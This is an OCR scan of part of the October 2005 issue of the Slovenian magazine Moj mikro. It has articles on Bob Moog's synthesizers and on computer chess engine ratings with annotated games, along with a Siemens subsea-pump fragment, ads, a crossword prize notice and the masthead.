to je treba zgraditi podmorske postroje s pomo&jo
robotov. Nekateri od njih bodo daljinsko uprav-
ljani z ladje, medtem ko bodo drugi delali avto-
nomno. Uporabljeni materiali bodo izpostavlje-
ni izjemno visokem pritisku in korozivni morski
vodi. Elektronske komponente bodo morale biti
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Kombinirani cikel (naravni plin) 700 58 7000
Hidroelektricna 700 5000
Veter (obala) >1 2500
Fotonapetostni >1 2400
16CC 700 51 7000
IGCC z izlocanjem CO2 700 45 7000
Kombinirani cikel z izloGanjem CO, | 700 52 7000

izredno stabilne in zanesljive, saj bi bila njihova
zamenjava izjemno draga. V Siemensu so razvili
magnetne leaje, ki ne zahtevajo mazanja in jih
ni treba vzdrZevati. Prvo tak$no samostojno pod-
morsko &rpalko bodo namestili v letu 2007 na
globino med 800 in 1000 m, 120 km od obale na
podvodnem plinskem polju Ormen Lange, ki je
zaradi neugodnega vremena dostopno samo pet
mesecev na leto.
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1700 44 Opomba: Stroski so
700 34 izratunani na podlagi
750 33 predpostavljenega
400 3,8 delovanja 30 let (50 let
1,800 56 za atomsko energijo) s 70
700 58 % izposojenega kapitala.
6000 437 IGCC - Kombinirani cikel
1300 14,2 z integriranim uplinjanjem.
1540 48 (Vir: Siemens PG CS 4)
560 44



PIONIR SINTETIZIRANJA
ZVOKA - BOB M0O0G

Tokratni sestavek bomo posvetili ¢loveku, ki je ogromno prispeval glasbeni industriji
pri odkrivanju priljubljenih (veCinoma sintetiziranih) zvokov sveta zadnjih 40 let.

PiSe: lgor Matiéié¢
igor.maticic@mojmikro.si

ob Moog je bil namre¢ svojevrsten ino-

vator, elektroinZenir, doktor fizike, obli-

kovalec in§trumentov in zvoka, podjet-

nik, in, kot ga je oznatil neki glasbeni
strokovnjak: Einstein glasbe. Sam pa se je naj-
veckrat pocutil kot tehni¢ni inZenir v dru¥ini
glasbenih zvezdnikov. Preminil je avgusta letos
v starosti 71 let.

Njegov pomen v svetu elektronskih glas-
bil bi lahko primerjali s tistim, kot ga imata
ustanovitelja kitarskih velikanov Fender in
Gibson na kitarski svet. Ze kot mladeni¢ se je
precej ukvarjal z raziskovanjem in sintetizira-
njem zvoka ter tako tudi ob¢udoval in nadgra-
jeval do tedaj znane elektronske sklope, ki so
proizvajali zvok. Posebno pozornost je namenil
sintetizatorju Theremin, ki v prvi polovici 20.
stoletja veljal za pravo ¢udo zvo¢ne tehnike.
Theremin (imenovan po njegovem tvorcu, ru-
skem fiziku Leonu Thereminu) je bil namrec
prvi inStrument, ki za igranje ni potreboval
fizi¢nega stika, pa¢ pa je prek anten zaznaval
premikanje osebka, ki je z gibi kontroliral ig-
ranje  inStrumenta.
Bob je skupaj z oce-
tom kar nekaj let iz-
deloval razlicice teh
sintetizatorjev, ki
jih je ponujal tudi v
obliki kompletov za
sestavitev. To so bile
pravzaprav = 0snove,
na katerih je pozne-
je Bob Moog gradil
svoje kasnejse, veli-
ko bolj priljubljene
zvolne izdelke.

MODULARNI M00G o

Moog je postal Sir- Lo
e znan leta 1964, ko ~ Minimoog za 21. stoletje
je takratni glasbeni
srenji predstavil prvi modularni sintetizator
Moog Modular, ki je precej hitro postal zani-
miv za znanstvene,

akademske in eksperimentalne glasbene sfe-
re tistega Casa, tako da je Bob dobil kar precej
narotil.

Vendar pa se je Bob Moog vse bolj trudil,

.....

$im mnoZicam, saj so bile tovrstne elektronske

komponente Se v 60-ih letih prej$njega stolet-
ja izredno drage zadevice. Velinoma so jih pri
delu uporabljali skladatelji eksperimentalne
glasbe, obcasno pa tudi najvedji zvezdniki, kot
na primer The Beatles na albumu Abbey Road
(1969).

MOOG ZA MNOZICE

Mnozi¢ni preobrat se je zgodil z modelom
Minimoog D leta 1971, ki je postal prvi ce-
novno dostopni sintetizator zvoka. Nastal je si-
cer kot rahlo okles¢ena razlicica veliko dra%jih
modelov Moog Modular (ve¢inoma narejeni
po narotilu), vendar je postal najbolj prodajan
analogni monofonski sintetizator do leta 1982,
kar je za elektronski instrument zavidljivo dol-
ga doba. Seveda z dana¥njega vidika monofon-
ski sintetizator s tremi oscilatorji, 44 tipkami
in dvema kontrolnima ro¢icama ni ni¢ poseb-
nega (¢e odmislimo originalen, retro u¢inek),
takrat pa je resni¢no pomenil revolucijo.

ZA VSE ZVRSTI GLASBE

7 mno¥i¢no uporabo se je zalel tudi zelo ob-
giren vpliv na razli¢ne glasbene zvrsti, kar v iz-
jemni meri ob&utimo e danes. Ce naStejemo

Voyager

samo nekaj glasbenih zvezd, ki so uporabljale
(ali 8¢ vedno uporabljajo) Moogove sintetiza-
torje, je takoj jasno, kakSen pecat v glasbi je za-
pustil Bob Moog: The Monkeys, Stevie Won-
der, Wendy Carlos, Yes, Herbie Hancock ...
Torej imena zelo raznolikih glasbenih slogov,
pa med njimi niti ne omenjamo posebe;j tistih,
ki so pozneje z Moogovimi sintetizatorji prav-
zaprav orali ledino novih glasbenih slogov, kot

glasbena produkcija

so techno, electronica ipd.

Med drugim je Moog znan po tem, da je kot
standard analognih sintetizatorjev uvedel raz-
licne kontrole (logaritmi¢na 1-voltna kontrola
visine tona, pulzirajoce sprofanje signala ipd),
oziroma drugade povedano: skoraj vsak sinte-
tizator (tudi veliko tistih iz sveta programske
opreme) dana$njega ¢asa je nadgradnja necesa,
o Cemer je neko¢ precej razmisljal Bob Moog

POSLOVNE AVANTURE

Zanimivo je, da se na zaletku Bob niti ni
toliko posvecal poslovni plati, kot pa ga je vse-
kakor veselilo odkriti nekaj novega, zanimive-
ga. Od tod morda tudi razlaga o tem, da je od
zaetkov ustvarjanja obstajalo nekaj podjetij v
povezavi z Moogom, vendar pa niso bila vsa
poslovno zelo uspesna (kakor bi zaradi inova-
tivnosti izdelkov vsekakor lahko bila).

Po dolgoletnih avanturah (oddaja lastni§tva
in pravice do blagovne znamke) njegovega
najbolj znanega podjetja Moog Music mu ga
je pred nekaj leti uspelo spet pridobiti in zacel
je izdelovati novo razli¢ico uspesnice Minimo-
og — Voyager, seveda z znatnimi izboljSavami
ter dodatnimi mo¥nostmi. Bob Moog se je na-
mred v vseh preteklih desetletjih ukvarjal tudi
z drugimi elektronskimi glasbili oz. pripomo&-
ki, kot so: bas pedal sintetizator Taurus, pedal
z zvoénimi u¢inki Moogfoger, v zadnjih letih
pa je tudi vpeljeval svojo tehnologijo v vti¢ne
(plug-in) zvo¢ne u¢inke Bomb Factory.

MOOG ZA VSE CASE

Ceprav fizitcno ni
ve¢ med nami, pa je
Bob Moog s svojo pri-
sotnostjo na glashenem
prizoris¢u prakti¢no ne-
smrten, saj lahko nje-
gove izdelke (vsaj po-
sredno prek vzorlenih
zvokov  sintetizatorjev)
slisimo  vsakodnevno
prek razlicnih medijev.
Dodatno priznanje Mo-
ogu pa je dalo nekaj po-
budnikov, ki so kmalu po njegovi smrti pred-
lagali, naj bi se standardna enota za 1V/oktavo
imenovala po njem: 1 Mg (Moog). Ta termin
je nmamre& Siroko uporabljen pri oscilatorjih
analognih sintetizatorjev, ki jih kontrolira na-
petost.

| |

Boh Moog v svojem
laboratoriju s
sintetizatorjem
Theremin

E T
o

woyMI

~

ROco -;

g

MOJ MIKRO 10 OKTOBER 2005 95




racunalniki in Sah

PRODOR »AMATERJEV

Podrocje raCunalniskega Saha Ze dolga leta obvladujejo profesionalci programerji in
racunalnike hise, ki se s tem ukvarjajo »24 ur na dan. To velja za programe, kot so
Fritz, Shredder, Junior, Chessmaster, Chess Genius in drugi. Eden redkih programov, ki
je nastal v »prostem Casu« je bil Hiarcs angleSkega avtorja Marka Uniackea.

Pise: Vojko Mencinger
vojko.mencinger@mojmikro.si

orda je prevlada omenjenih programov
tudi posledica bistveno vegje promocij-
ske aktivnosti, ki so jih dele?ni. Ve¢ino
jih namre¢ promovira najuglednejse
podjetje, nemski ChessBase. V danasnjem casu
velja nepisano pravilo, da &e te ne poznajo, te
tezko ocenjujejo in primerjajo. Posledica tega je
zagotovo tudi trenutno veljavna rating lestvi-
ca Sahovskih programov
SSDF (Svedska racunalni-
Ska $ahovska zveza — v $ved-

skem jeziku Svenska schack-

Na prvih desetih mestih
s0 samo tri imena — Shred-
der, Junior in Fritz v ve¢ raz-
licicah. Ce se spomnimo na-

1 Shredder 9.0 LT 256MB Athloa 1200 MHz
2 Shredder BU0 CR T56M8 Atklen 1200 s 2005 2323 1115 71%
3 Shredder 704 UCT 23680 Athlon 1200 Mede 2004 32-21 1133 &%
. # Junlor 9.0 25088 Athlon 1300 MHr
datorféreningen). 5 Deep Fritz B.0 256568 Atblon 12900 Mz
& Junbsr 8.0 T56M0 Athlan 13000 by
7 Shredder 7.0 256MB Athlos 1200 MHz
8 Deep Fritz 7.0 25658 Athion 1200 MMz
9 Feitz 0.0 256MB Athlos 1208 MHz
10Ekeap Jumiar 8.0 5680 Mhlsn 1200 Mz

Sega zadnjega ¢lanka (Zappa—novi svetovni prvak,
Moj mikro 9/2005), je ocitno, da na plan prihajajo
doslej nepoznani programi — recimo jim »amater-
ji«, Ceprav ta izraz ne ustreza njihovi Sahovski moci
in zagotovo tudi ne programski profesionalnosti, s
katero so napisani oz. izdelani. Vsekakor se v nji-
hovem jedru skriva skoraj vse, kar imajo tudi »ve-
liki«. In o&itno ponekod e ve&.

RATING LESTVIGA CSS
Nemsgka revija CSS (Computer Schach und
Spiele, www.computerschach.de), ki od janu-

2821 1827 T4 &T%

2769 IT-20 T4 OT%
2753 M43 2 TO%
766 434 BER G5%
TS X323 B4 0%
2704 T4-23 FIE O5%
2753 2020 1206 &3%
2730 J0-3% SAT 1%

§ERREEERYY

arja 2005 izhaja zgolj v spletni razli¢ici, pri-
pravlja svojo rating lestvico. Testiranje poteka
drugade kot pri zvezi SSDF — ¢as za partijo je
10 minut + 10 sekund dodatka na potezo (pri
SSDF-ju imajo klasi¢ni turnirski ¢as za razmis-
ljanje — 2 uri za 40 potez). To testerjem pri CSS
omogoda, da odigrajo veliko vec partij in s tem
doseZejo veliko bolj verodostojne statisti¢ne
rezultate. Spodnja tabela je dober pokazatelj,
kako mocno so se v ratunalniski $ah zavihteli
»amaterji«.

Resda je Shredder tudi tukaj vodilni, toda po-
glejmo, kdo mu sledi. Program Fruit 2.1 fran-
coskega avtorja Letouzeya je presenetil tudi na
nedavnem svetovnem prvenstvu v Reykjaviku,
kjer je osvojil drugo mesto. Zanimivo, da ima
Fruit prav z vsemi nasprotniki pozitiven rezultat
— tudi s Shredderjem. Toda Shredder je z drugi-
mi dosegel ve¢ zmag, zato ima tudi boljsi skupni
rating. Na tretjem mestu pa je Se velji »amater«
— nemski program Spike 1.0a.

NOVI NAGINI OGENJEVANJA POZICI

Na podlagi ogleda partij je mo#no sklepati, da
predvsem napreduje nadin ocenjevanja pozicij.
Pri tem je dejansko $e ogromno rezerve, e veli-
ko moZnosti in nejasnosti. Spomnim se $ahistov
(predvsem iz bivie »juge«), ki so v vsaki poziciji
»stali bolj$e«!! Nepoboljiljivi optimisti!

Oglejmo si dve dokaj nenavadni partiji. V prvi
je Fruit 2.1 premagal Shredderja, Ceprav je imel
ta dolgo na videz boljSo pozicijo.

F-SEGURE MESSAGING SECURITY GATEWAY

Naibeli zmogljiva in varna naprava za 1ascito prenosa sporocil

F-Secure Massaging Security Gatewoy™ predsiavijo najbolj covrdeno in uéinkovilo vamasino reiley
ra poslovna infrostrukiure prenosa sporodil, saj v sebi zdifuje robuwsine indusirijske posine sireinike z
Fodding -:,||-:t:|||r:|. radding pred medelenc [N, spom) epalio n winsl,
tunkeionainostimi za voren prenos sporodil in izhodnih vsebin, vie v eni
sami encsiawvni in zmoglijivi napravi
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Program Razlicica in Avtor St.partii = - Tocke Rezultat  Elo nasprotnikov ~ Elo

1 | Shredder 9 UCI | 20.01.2005 [UCI- ] 480 290 91 |99 3355 |69,90% 2636 2182
S. Meyer-Kahlen (D)

2 | Fruit 2.1 17.06.2005 [UCI] 480 252146/ 82 | 3250 |67,71% 2637 2164
F. Letouzey (F)

3 | Spike 1.0a Mainz | 17.08.2005 [UCI] 480 217 143|120 288,5 | 60,10% 2639 2110
Schafer, Bohm (D)

4 | Fritz 8 Bilbao 24.08.2004 [Native-] | 480 228 119|133 287,5 | 59,90% 2639 2109
F. Morsch (NL/D)

5 | Hiarcs 9 22.08.2003 [Native-] | 480 205 137|138 273,5 | 56,98% | 2640 2689
M. Uniacke (GB)

6 | The King 3.33 09.06.2004 [WB-] 480 193] 154|133 270,0 | 56,25% ' 2640 2684
J. de Koning (NL)

7 | Junior 9 20.12.2004 [Native-] | 480 199|140 141 269,0 | 56,04% 2640 2683
A. Ban (ISR)

8 | Chess Tiger 15.0 | 19.02.2003 [Native-] | 480 186| 149 145 260,5 | 54,27% | 2641 2670
C. Theron (F)

9 | Ruffian 2.1.0 08.03.2004 [UCI- ] 480 189/ 138 1531 258,0 | 53,75% | 2641 2667
P. Valfridsson (SWE)

10| Gandalf 6.0 06.11.2004 [UCI- | 480 195|124 161 257,0 | 53,54% | 2641 2665
S. Suurballe (DK)

Fruit 2.1 - Shredder 9 [B30 - Sicilijanska obramba]

l.e4 ¢5 2.5f3 d6 3.d4 cxd4 4.Sxd4 Sf6
5.Sc3 a6 6.Le3 e5 7.Sb3 Le7 8.£3 Le6 9.Dd2
Sbd7 10.g4 0-0 11.0-0-0 Tc8 12.h4 b5 (V
tej poziciji so &mi dosegali dobre rezultate.)
13.Df2 Se8 14.Kb1 Sc7 15.Th2 Te8 16.Del
Sa8 17.h5 Sab6 18.h6 g6 19.Kal Sc4 20.Lf2
Dc7 21.Lxc4 bxc4 22.Sc1 Tb8 23.S1e2 Db7
24.Tb1 d5 25.exd5 Lxd5 (Pozicija &rnega se
zdi precej bolj$a.) 26.La7 (Tako Shredder kot
Hiarcs ocenjujete kot bolje 26.Sxd5 Dxd5. Za-
nimivo je, da se oceni Shredderja in Hiarcsa
moc¢no razlikujeta. Shredder: -1,48, Hiarcs: -
0,18!) 26...Ta8 27.Sxd5 Dxd5 28.Df2 Dc6
29.Le3 a5 30.g5 Lb4 31.Th4 a4 32.a3 La5
33.8c3 Lxc3 34.bxc3 (Po tej potezi Shredder
$e vedno misli, da ima premo¢ (-1,15), med-
tem ko Hiarcs ¥e daje prednost belemu (+0-

,25).) 34...Tec8 35.Tb4

(Pozicija bele-
ga kralja je vse-
kakor  varnejsa
kot pozicija Cr-
nega. Crni ima
poleg tega sla-
bega kmeta na
c4, zato bi lahko
rekli, da beli sto-
ji bolje.) 35...De6 36.De2 Dd5 37.Thxc4
Txc4 38.Txc4 Sf8 39.Tc5 Db7 40.c4 e4
41.fxe4 Se6 42.Dd3 Sxc5 43.Lxc5 Th8
44.Lb4 Db6 45.c5 Dc6 46.Dd4 {6 47.gxf6
Kf7 48.e5 Tg8 49.Dc4+ De6 50.De4 Td8
51.c6 Te8 52.c7 Dc8 53.Dd5+ De6 54.c8D
Dxd5 55.Dc7+ Ke6 56.£7 Td8 57.De7+
Kf5 58.f8D+ Txf8 59.Dxf8+ Ke4 60.e6
Dxe6 61.Dg7 1-0

V naslednji partiji pa je drugi novinec Spike
premagal Fritza. Partija ima zanimiv potek tudi
za turnirske Sahiste, saj ka%e na zelo obetavno
moZnost za igro belega proti nadvse &vrsti obram-
bi Caro-Kann.

Spike 1.0a - Fritz 8 Bilbao [B12 - Caro-Kann]

1.e4 c6 2.d4 d5 3.e5 Lf5 4.h4 h6 5.g4 (To
potezo je pogosto igral nekdanji svetovni prvak
Mihail Talj in zanimivo v zadnji partiji dvobo-
ja za naslov svetovnega prvaka Kramnik proti
Leku!) 5..Lh7 (Leko je nadaljeval bolje s 5...
Ld7 6.5d2 ¢5 7.dxc5 e6 8.5b3 Lxc5 9.Sxc5 Da5+
10.¢3 Dxc5 11.5f3 Se7 in zdaj bi Kramnik z 12.h5

lahko dosegel majhno prednost.) 6.Ld3
(Najnovejsa
u e n n turnirska praksa
E . ka¥e, da je na
l n | = tem mestu zelo
. B . . nevarno  6.e6!
. . i . i fxe6 7.Ld3 Lxd3
. . . . 8.Dxd3 Dd6 9.f4
3 . Fy . Sd7 10.5f3 0-0-
ﬁ*ﬁ*"ﬂ‘l 0 11.Se5 Sxe5
SR 12.fxe5 in beli
ima trajno prednost.) 6...Lxd3 7.Dxd3 e6 8.Sc3
(V postev je prislo tudi 8.Se2 c5 9.c3 ¢4 10.Dc2
h5 11.g5 Se7 12.5f4 g6 13.Sd2 Sf5 14.5f1 Sc6
15.Se3 Sce7 in beli ima vet prostora.) 8...h5
9.gxh5 Db6 10.Lg5 Txh5 11.Sge2 Th8 12.0-
0-0 Shé6 13.Kb1 Da6 14.Df3 Sd7 15.Dh5 Lb4
16.5f4 Sf8 17.Th3 Th7 18.Sd3 Sf5 19.Dg4
Lxc3 20.Sc5 Db5 21.Txc3 b6 22.Sb7 Da6
(Bolje bi bilo 22....£6.) 23.8d6+ Sxd6 24.exd6
Db7 25.h5 (Beli stoji precej bolje.) 25...Dd7
26.Le7 e5 27.De2 (Menjava dam ne pride v
postev.) 27...exd4 28.Txd4 Se6 29.Th4 a5
30.Te3 d4 31.Te5 a4 32.De4 Tho6 33.f4 Ta5
34.Txa5 bxa5 35.f5 1-0

SKLEP

»Amaterji« so bili v §ahu vedno nevarni tudi
profesionalcem — ne morda na daljsi rok in v ve&
partijah, temve¢ takrat, ko odlo¢a ena sama par-
tija, na primer partija zadnjega kola. Spomnim
se, da je Nimcovi¢ napol v $ali napol zares dejal
naSemu Vidmarju, naj se raje posveti elektro-
tehniki, kot da igra $ah. Vidmar je bil $e posebej
Nimcovi¢u zelo neugoden nasprotnik.
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ALTTCRNA

Zastopa in prodaja podjetje
ALTERNA INTERTRADE, d.d., LeskoSkova 6, Ljubljana.

Poklicite jih in naroéite izdelek na dom Ze danes: 01 52 02 852

www.alterna-i.si
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|zid Zrebanja nagradne krizanke iz 9. tevilke Mojega mikra - GESLO: IZMENICNA NAPETOST V AVTU
3 praktiCne nagrade iz prodajnega programa v vrednosti po 7.640 SIT podarja podjetje Alterna, d. d. Prejeli so jih: Goran Golubi€, DebevCeva pot
2, 1351 Brezovica; Dejan Redja, Ljubljanska cesta 12, 1236 Trzin: Dasa Zoc, Maistrova 3, 2000 Maribor.

Ime in priimek:

Naslov:

mOJ Mi kRO Davcna Stevilka:

| B
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PripiSite tudi svojo davéno

Stevilko.

Resite krizanko, ¢rke z oznacenih polj pa vpiSite v kupon.
Dobite geslo, ki je resitev nagradne krizanke.
Kupon izreZite in ga do 17 oktobra poSljite na naslov:

UredniStvo revije Moj mikro, Dunajska 5, 1509 Ljubljana
Resitve in zahtevane podatke lahko poSljete tudi na: info@mojmikro.si

Podjetje Alterna Intertrade, d. d., LeskovSkova 4,
1000 Ljubljana bo trem izzrebancem, ki bodo napisali

pravilno geslo iz krizanke, podarilo blagovno nagrado

iz prodajnega programa v vrednosti po 7.640 SIT.

MO Mi kRO

izhaja vsak prvi torek v mesecu
letnik 21,
Stevilka 10, oktober 2005

IZDAJA:

DELO REVIJE, d. d.
Dunajska 5, 1509 Ljubljana
www.delo-revije.si
DIREKTOR: Andrej Lesjak

UREDNISTVO:

Dunajska 5, 1509 Ljubljana

tel.. (01) 473 82 61

faks: (01) 473 8169, 4738109
e-posta: mojmikro@delo-revije.si

GLAVNI UREDNIK: Marjan Kodelja
ODGOVORNI UREDNIK: Zoran Banovi¢
POMOCNIKA GLAVNEGA UREDNIKA:
Zlatko Mati¢ in Milan Sim¢ic
UREDNIK: Jaka Mele

UREDNIK FOTOGRAFIJE:

Alan Orli¢ BelSak

LIKOUNA ZASNOVA: Andrej Mavsar
TEHNICNI UREDNIK: Andrej Mavsar
REDAKTOR:

Slobodan Vujanovié

OGLASNO TRZENJE:

DELO REVIJE, d. d.

Marketing

Dunajska 5, 1509 Ljubljana

tel. (01) 47381 11

faks: (01) 473 8129

e-posta: marketing@delo-revije.si

KOLPORTAZA:

DELO REVIJE, d. d.
Marketing

Dunajska 5, 1509 Ljubljana
tel.: (01) 4738120

faks: (01) 473 82 53

NAROCNINE:

DELO REVIJE, d. d.

Marketing

Dunajska 5, 1509 Ljubljana

tel.. (01) 473 8123,473 8124
faks: (01) 473 82 53

e-posta: narocnine@delo-revije.si

Posamezni izvod stane 980 SIT.

Narocniki imajo posebne
ugodnosti. NaroCite se lahko
pisno (klasicna in elektronska
posta) ali telefonsko. Revijo
boste zaceli prejemati po prvem
placilu od tekoce Stevilke naprej.
Narocnina velja do vasega
preklica.

Narocnina za tujino se poravnava
za eno leto vnaprej in znasa:

70 EUR, 127 USD, 167 AUD.

Za vse informacije v zvezi

z naro¢anjem edicije smo

na voljo na zgoraj navedenih
telefonskih Stevilkah ali
elektronski posti.

Nenarocenih besedil in fotografij
ne vra¢amo.

DIGITALNA OBDELAVA FOTOGRAFIJ
IN OSVETLJEVANJE:

Delo Repro, d. 0. 0.

Dunajska 5, Ljubljana

TISK: Delo Tiskarna, d. d.
Dunajska 5, Ljubljana

oktober 2005
natisnjeno

v 8 500 izvodih. _5%:
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Mo¢ namiznega racunalnika v prenosni obliki. In to po izjemno ugodni cenil

I
HP priporoéa Microsoft® Windows® XP Professional.
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